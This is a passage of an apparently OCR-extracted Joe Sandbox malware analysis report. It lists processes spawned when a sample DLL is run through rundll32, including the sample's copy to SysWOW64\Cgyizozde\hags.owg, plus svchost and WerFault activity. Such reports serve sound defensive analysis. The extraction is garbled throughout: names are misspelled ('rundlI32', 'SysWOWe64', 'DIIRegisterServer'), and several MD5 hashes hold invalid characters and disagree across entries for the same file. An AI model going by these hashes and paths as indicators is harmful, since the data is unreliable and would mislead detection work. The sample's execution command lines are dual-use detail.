Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

Registry Activities

true

"C:\Program Files (x86)\Internet Explorer\lEXPLORE.EXE" SCODEF:5820 CREDAT:17410
Iprefetch:2

0xdb0000

822536 bytes
071277CC2E3DF41EEEA8013E2AB58D5A
true

true

C, C++ or other language

high

Show Windows behavior

Show Windows behavior

Analysis Process: rundll32.exe PID: 3116 Parent PID: 2548

General

Start time:

Copyright Joe Security LLC 2021

01:05:09

Page 69 of 74



Start date: 03/12/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: rundll32.exe C:\Users\user\Desktop\AP8cSQS6y5.dll,_opj_codec_set_threads@8
Imagebase: 0xdc0000

File size: 61952 bytes

MDS5 hash: D7CA562B0DB4F4DD0OF03A89A1FDAD63D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: rundll32.exe PID: 6512 Parent PID: 2548

General

Start time: 01:05:13

Start date: 03/12/2021

Path: C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit): true

Commandline: rundlI32.exe C:\Users\user\Desktop\AP8cSQS6y5.dll,_opj_create_compress@4
Imagebase: 0xdc0000

File size: 61952 bytes

MD5 hash: D7CA562B0DB4F4DDOF03A89A1FDAD6G3D
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: svchost.exe PID: 6560 Parent PID: 572

General

Start time: 01:05:16

Start date: 03/12/2021

Path: C:\Windows\System32\svchost.exe
Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase: 0x7ff70d6e0000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: svchost.exe PID: 4856 Parent PID: 572

General

Start time: 01:05:29

Start date: 03/12/2021

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase: 0x7ff70d6e0000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true
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Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: rundll32.exe PID: 6988 Parent PID: 6048

General

Start time: 01:05:30

Start date: 03/12/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\AP8cSQS6y5.dlIl", DIIRegis
terServer

Imagebase: 0x7ff70d6e0000

File size: 61952 bytes

MD5 hash: D7CA562B0DB4F4DDOF03A89A1FDAD6G3D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: rundll32.exe PID: 1740 Parent PID: 3696

General

Start time: 01:05:32

Start date: 03/12/2021

Path: C:\Windows\SysWOWe64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SyswOWe64\rundll32.exe "C:\Users\user\Desktop\AP8cSQS6y5.dll", DIlRegis
terServer

Imagebase: 0xdc0000

File size: 61952 bytes

MD5 hash: D7CA562B0DB4F4DDOF03A89A1FDAD6G3D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: rundll32.exe PID: 3180 Parent PID: 4472

General

Start time: 01:05:34

Start date: 03/12/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cgyizozde\hags.o
wg",JZDgQKVNU

Imagebase: 0xdc0000

File size: 61952 bytes

MD5 hash: D7CA562B0DB4F4DDOF03A89A1FDAD6G3D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: rundll32.exe PID: 4892 Parent PID: 3116
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General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

01:05:35

03/12/2021
C:\Windows\SysWOW64\rundll32.exe
true

C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\AP8cSQS6y5.dlII",DIIRegis
terServer

0xdc0000

61952 bytes
D7CA562B0DB4F4DDOF03A89A1FDAD63D
true

true

C, C++ or other language

Analysis Process: rundll32.exe PID: 7164 Parent PID: 6512

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

01:05:40

03/12/2021
C:\Windows\SysWOW64\rundll32.exe
true

C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\AP8cSQS6y5.dlI",DIIRegis
terServer

0xdc0000

61952 bytes
D7CA562B0DB4F4DDOF03A89A1FDAD63D
true

true

C, C++ or other language

Analysis Process: svchost.exe PID: 7152 Parent PID: 572

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

01:05:40

03/12/2021

C:\Windows\System32\svchost.exe

false

C:\Windows\System32\svchost.exe -k WerSvcGroup
0x7ff70d6e0000

51288 bytes
32569E403279B3FD2EDB7EBD036273FA

true

true

C, C++ or other language

Analysis Process: WerFault.exe PID: 1752 Parent PID: 7152

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

Copyright Joe Security LLC 2021

01:05:41

03/12/2021

C:\Windows\SysWOWe64\WerFault.exe

true

C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 2548 -ip 2548
0xc20000

434592 bytes
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MDS5 hash: 9E2BBACAD48ECCAS55C0230D63623661B

Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language

Analysis Process: WerFault.exe PID: 6652 Parent PID: 2548

General

Start time: 01:05:44

Start date: 03/12/2021

Path: C:\Windows\SysWOWe64\WerFault.exe
Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\WerFault.exe -u -p 2548 -s 296
Imagebase: 0xc20000

File size: 434592 bytes

MD5 hash: 9E2BBACAD48ECCA55C0230D63623661B
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: svchost.exe PID: 6536 Parent PID: 572

General

Start time: 01:05:53

Start date: 03/12/2021

Path: C:\Windows\System32\svchost.exe
Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase: 0x7ff70d6e0000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: rundli32.exe PID: 760 Parent PID: 3180

General

Start time: 01:05:56

Start date: 03/12/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Cgyizozde\hags.owg",DlIReg
isterServer

Imagebase: 0xdc0000

File size: 61952 bytes

MD5 hash: D7CA562B0DB4F4DDOF03A89A1FDAD6G3D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: svchost.exe PID: 6996 Parent PID: 572
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General

Start time: 01:06:09

Start date: 03/12/2021

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase: 0x7ff70d6e0000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
Disassembly

Code Analysis

Copyright Joe Security LLC Joe Sandbox Cloud Basic 34.0.0 Boulder Opal
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